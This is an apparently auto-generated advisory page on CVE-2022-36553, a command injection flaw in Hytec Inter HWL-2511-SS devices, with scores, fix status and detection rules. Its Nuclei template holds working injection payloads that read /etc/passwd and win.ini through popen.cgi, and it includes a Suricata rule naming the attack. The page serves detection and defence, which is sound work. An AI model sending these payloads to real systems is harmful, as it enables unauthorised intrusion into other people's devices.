VULNpocalypse

CVE-2022-36553: vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Hytec Inter HWL-2511-SS v1.05 and below was discovered to contain a command injection vulnerability via the component /www/cgi-bin/popen.cgi.

Description quoted from the CVE record (assigned by mitre, published 2022-08-29).

How it can be exploited

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Nuclei template and 6 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 11 references on Exploit Observer

Live scores

EPSS
0.970
very likely to be attacked soon
VEDAS
0.985
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
Not statedversions not stated in the recordNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Hytec Inter HWL-2511-SS - Command Injection

Hytec Inter HWL-2511-SS v1.05 and below was discovered to contain a command injection vulnerability via the component /www/cgi-bin/popen.cgi.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /, GET /cgi-bin/popen.cgi?command={{command}}&v=0.1303033443137912); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2022-36553.yaml
Show the template (52 lines)
yaml
id: CVE-2022-36553

info:
  name: "Hytec Inter HWL-2511-SS - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Hytec Inter HWL-2511-SS v1.05 and below was discovered to contain a command injection vulnerability via the
    component /www/cgi-bin/popen.cgi.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2022-36553&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=hytec&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-36553
    cwe-id: CWE-77
  metadata:
    verified: false
  tags: cve2022,cve,hytec,rce,vkev,vuln
http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /cgi-bin/popen.cgi?command={{command}}&v=0.1303033443137912 HTTP/1.1
        Host: {{Hostname}}

    payloads:
      command:
        - "cat%20/etc/passwd"
        - "type%20C://Windows/win.ini"
    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "contains(body_1, '<title>index</title>')"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
          - "contains(body_1, '<title>index</title>')"
        condition: and

CVE-2022-36553.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2022-36553 Hytec Inter HWL-2511-SS - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2022-36553 Hytec Inter HWL-2511-SS - Command Injection"; flow:established,to_server; http.uri; content:"/cgi-bin/popen.cgi"; nocase; fast_pattern; content:"command="; nocase; classtype:web-application-attack; reference:cve,CVE-2022-36553; reference:url,https://www.exploit.observer/?keyword=CVE-2022-36553&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=hytec&match=exact; sid:1011351; rev:1;)

CVE-2022-36553.rules on GitHub

Advisories on this CVE

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

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